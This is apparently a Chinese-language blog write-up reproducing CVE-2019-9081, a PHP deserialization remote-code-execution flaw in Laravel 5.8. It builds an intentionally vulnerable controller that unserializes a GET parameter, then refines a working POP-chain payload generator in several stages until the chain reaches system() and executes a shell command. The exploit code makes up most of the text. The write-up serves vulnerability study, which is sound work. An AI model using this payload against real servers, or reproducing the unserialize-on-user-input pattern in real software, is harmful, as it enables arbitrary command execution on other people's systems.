Laravel v5.8 反序列化rce (CVE-2019-9081) 复现
序
Laravel是一款比较流行的优秀php开发框架,本身也比较重,通过这个框架来接触大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的。在学习了几天Laravel开发以后,我尝试复现了一下CVE-2019-9081,整体过程和原作者还是有些区别的,原作者思维比较跳跃的地方,我按自己的思维尝试摸索,有错误之处欢迎斧正。
环境搭建
使用composer+PhpStorm+xampp的方式配置laravel
首先下载composer,安装完成之后配置国内镜像源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
使用PhpStorm直接在xampp/htdocs
下创建composer项目
访问public
目录出现如下界面表示Laravel配置成功
接下来创建控制器
php artisan make:controller DemoController
配置路由
Route::get('/demo', '\App\Http\Controllers\DemoController@demo');
控制器
class DemoController extends Controller
{
public function demo()
{
if (isset($_GET['c'])) {
$code = $_GET['c'];
unserialize($code);
} else {
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
访问public/demo
pop链入口
Laravel v5.7相较Laravel v5.6在vendor/laravel/framework/src/Illuminate/Foundation/Testing
下新增了PendingCommand.php
,其中有PendingCommand
类,它的__destruct
方法是这样的
跟进run
方法,在run
方法的头顶,赫然写着Execute the command
一大堆东西,其中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
看起来有可能是执行命令的函数,前面会经过很多代码,这时候不如debug跟一下
初探run
这时候先随便构造个payload
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand('system', 'dir');
echo urlencode(serialize($a));
}
传进去,断点断下来,单步
hasExecuted
默认是false
,直接往下走,进到run
有个mockConsoleOutput()
,跟进去
第一句直接报错了,看一下laravel的报错
原来是我们$parameters
类型问题,改成数组
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir']);
echo urlencode(serialize($a));
}
重来还是报错,这次是第一句里面的createABufferedOutputMock()
这时候$this->test
是null
,这个属性是可控的。全局搜索$expectedQuestions
,找找有没有可用的类,发现只有一个trait
,没法实例化。
__call
续接pop链
取属性取不到怎么办?答案是找__call
。这一步比较自由,原作者用的是Illuminate\Auth\GenericUser
,我找的是Faker\DefaultGenerator
,$default
完全可控
这时候再修改一下payload
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $test;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace{
$b = new Faker\DefaultGenerator(['0'=>'1']);
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b);
echo urlencode(serialize($a));
}
然后我们就可以顺利通过createABufferedOutputMock()
。回到mockConsoleOutput()
,接下来的foreach
和刚刚的一样,顺利通过。
走出mockConsoleOutput
终于马上可以出这个方法,但是再一次报错
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
这次是因为$this->app
为null
。去前面看app
是个什么
然而找了半天没找到这么个Application
类,去文档搜索有bind()
方法的类
Illuminate\Container\Container
就你了,那么现在的payload是
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Container{
class Container{
}
}
namespace{
$c = new Illuminate\Container\Container();
$b = new Faker\DefaultGenerator(['0'=>'1']);
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
echo urlencode(serialize($a));
}
总算是走出了mockConsoleOutput
,回到run
代码执行
终于走到疑似代码执行的地方
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这才发现app
是有要求的,看一下Kernel::class
好像是个固定值,跟着走,发现下图左下调用栈,这时候我们的目的是让代码走通就行,所以只管往下走就行。
一直调用到isBuildable()
除了问题,
往里走到build
$reflector->isInstantiable()
那里过不了,借助反射类看一下,原来Illuminate\Contracts\Console\Kernel
是个接口,正好getConcrete()
中,我们可以找到任意一个有$binding
属性的类来实例化的。
正好,我们之前用的Illuminate\Container\Container
就满足这个条件,由于我们已知$abstract
变量为Illuminate\Contracts\Console\Kernel
,所以我们只需通过反序列化定义Illuminate\Container\Container
的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel
的二维数组就能进入该分支语句,这时候payload如下
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Container{
class Container{
protected $bindings = [];
public function __construct($bindings)
{
$this->bindings = $bindings;
}
}
}
namespace{
$c = new Illuminate\Container\Container(['Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Container\Container']]);
$b = new Faker\DefaultGenerator(['0'=>'1']);
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
echo urlencode(serialize($a));
}
这时候isBuildable()
我们第一遍是过不去的
但是进入make()
以后,第二遍循环时$concrete
和$abstract
已经都是Illuminate\Container\Container
了,注意左下的调用栈
成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,$this->app[Kernel::class]
最终返回的内容就是我们创建的Illuminate\Container\Container
类的对象
最后call
的庐山真面目
成功执行call_user_func_array('system',array('dir'))
参考链接
CVE原作者博客 laravelv5.7反序列化rce(CVE-2019-9081)